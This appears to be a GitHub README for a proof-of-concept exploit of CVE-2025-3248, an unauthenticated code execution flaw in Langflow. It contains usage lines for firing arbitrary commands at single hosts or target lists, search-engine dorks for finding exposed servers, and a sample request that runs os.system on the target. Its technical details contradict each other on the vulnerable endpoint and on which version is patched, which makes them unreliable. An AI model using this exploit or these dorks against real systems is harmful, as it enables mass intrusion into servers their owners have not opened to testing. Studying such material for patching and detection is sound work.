CVE-2025-3248 PoC — Langflow < 1.3.0 Unauthenticated RCE via /api/v1/validate/code

Description

CVE-2025-3248 – Unauthenticated Remote Code Execution in Langflow via Insecure Python exec Usage

Readme

# CVE-2025-3248 – Unauthenticated Remote Code Execution in Langflow via Insecure Python exec Usage 🔥

# Overview 📃

CVE-2025-3248 is a critical unauthenticated remote code execution (RCE) vulnerability in Langflow, a popular low-code framework for building LLM applications. The flaw stems from the unsafe use of Python’s built-in exec() function to evaluate user-supplied input without sanitization. This allows attackers to execute arbitrary Python code on the server, completely compromising the underlying system.

+ CVE ID: CVE-2025-3248
+ Severity: Critical
+ CVSS Score: 9.8
+ EPSS Score: 92.57%
+ Published: May 22, 2025
+ Affected Versions: ≤ v1.3.0
+ Patched Version: v1.3.0+

# CVE-2025-3248 — Langflow RCE Exploit 🔥

Remote Code Execution (RCE) exploit for Langflow applications vulnerable to CVE-2025-3248.

Affected Endpoint: `/api/v1/validate/code`

# 🚀 Exploit Features:

+ 🔓 Remote & unauthenticated RCE
+ 🔐 No authentication required
+ 🐍 Python3 one-liner script
+ 🎨 Colorized terminal output for clarity

# 🔧 Usage:

```
python3 CVE-2025-3248.py -u http://target:7860 -c "id"
python3 CVE-2025-3248.py -i target.txt -c "id"
python3 CVE-2025-3248.py -i target.txt -c "id" -p http://127.0.0.1:8080
```

# 🔧 Dork:

```
Shodan: 

http.title:"Langflow" "Langflow allows you to build LLM applications"

title:"Langflow"

ZoomEye: 

title:"Langflow" && body:"Langflow allows you to build LLM applications"

app:"Langflow"

FOFA: 

title="Langflow" && body="Langflow allows you to build LLM applications"

app="Langflow"
```

# 🌐 Technical Breakdown :
Langflow exposes a /api/v1/builder/execute_code endpoint that takes user-supplied Python code and passes it directly to exec() on the backend. Since there’s no authentication or sandboxing, attackers can craft arbitrary payloads for code execution.

```
POST /api/v1/builder/execute_code
Content-Type: application/json

{
  "code": "import os; os.system('id')"
}
```

# 🦗 Vulnerable Code Snippet :

There is no sandbox, no ast.literal_eval, no subprocess control — just direct unsanitized execution of attacker input.

```
# langflow/api/builder/execute.py
exec(code)  # No input validation or sandboxing
```

# ⚠️ Disclaimer :

For educational and research purposes only. Use only against systems you own or have permission to test...

File Snapshot

Remarks